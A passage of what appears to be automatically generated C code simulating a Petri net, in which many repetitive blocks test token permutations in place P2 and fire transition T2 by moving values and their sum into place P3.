P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 3, 0, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[0])\n && (P2_marking_member_0[3] == P2_marking_member_0[1])))\n {\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 3, 1, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[1])\n && (P2_marking_member_0[3] == P2_marking_member_0[0])))\n {\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 0, 1, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[1])\n && (P2_marking_member_0[0] == P2_marking_member_0[2])))\n {\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 0, 2, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[2])\n && (P2_marking_member_0[0] == P2_marking_member_0[1])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 1, 0, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[0])\n && (P2_marking_member_0[1] == P2_marking_member_0[2])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 1, 2, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[2])\n && (P2_marking_member_0[1] == P2_marking_member_0[0])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 2, 0, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[0])\n && (P2_marking_member_0[2] == P2_marking_member_0[1])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 2, 1, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 4) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[1])\n && (P2_marking_member_0[2] == P2_marking_member_0[0])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 1, 2, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[2])\n && (P2_marking_member_0[1] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 1, 3, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[3])\n && (P2_marking_member_0[1] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 1, 4, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[4])\n && (P2_marking_member_0[1] == P2_marking_member_0[2])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 1, 4, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[4])\n && (P2_marking_member_0[1] == P2_marking_member_0[3])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 2, 1, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[1])\n && (P2_marking_member_0[2] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 2, 3, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[3])\n && (P2_marking_member_0[2] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 2, 4, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[4])\n && (P2_marking_member_0[2] == P2_marking_member_0[1])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 2, 4, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[4])\n && (P2_marking_member_0[2] == P2_marking_member_0[3])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 3, 1, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[1])\n && (P2_marking_member_0[3] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 3, 2, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[2])\n && (P2_marking_member_0[3] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 3, 4, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[4])\n && (P2_marking_member_0[3] == P2_marking_member_0[1])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 3, 4, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[4])\n && (P2_marking_member_0[3] == P2_marking_member_0[2])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 4, 1, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[1])\n && (P2_marking_member_0[4] == P2_marking_member_0[2])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 4, 1, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[1])\n && (P2_marking_member_0[4] == P2_marking_member_0[3])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 4, 2, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[2])\n && (P2_marking_member_0[4] == P2_marking_member_0[1])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 4, 2, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[2])\n && (P2_marking_member_0[4] == P2_marking_member_0[3])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 4, 3, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[3])\n && (P2_marking_member_0[4] == P2_marking_member_0[1])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 0, 4, 3, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[3])\n && (P2_marking_member_0[4] == P2_marking_member_0[2])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[0];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 0, 2, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[2])\n && (P2_marking_member_0[0] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 0, 3, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[3])\n && (P2_marking_member_0[0] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 0, 4, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[4])\n && (P2_marking_member_0[0] == P2_marking_member_0[2])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 0, 4, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[4])\n && (P2_marking_member_0[0] == P2_marking_member_0[3])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 2, 0, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[0])\n && (P2_marking_member_0[2] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 2, 3, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[3])\n && (P2_marking_member_0[2] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 2, 4, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[4])\n && (P2_marking_member_0[2] == P2_marking_member_0[0])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 2, 4, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[4])\n && (P2_marking_member_0[2] == P2_marking_member_0[3])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 3, 0, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[0])\n && (P2_marking_member_0[3] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 3, 2, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[2])\n && (P2_marking_member_0[3] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 3, 4, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[4])\n && (P2_marking_member_0[3] == P2_marking_member_0[0])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 3, 4, 2 */\n /* Transition T2 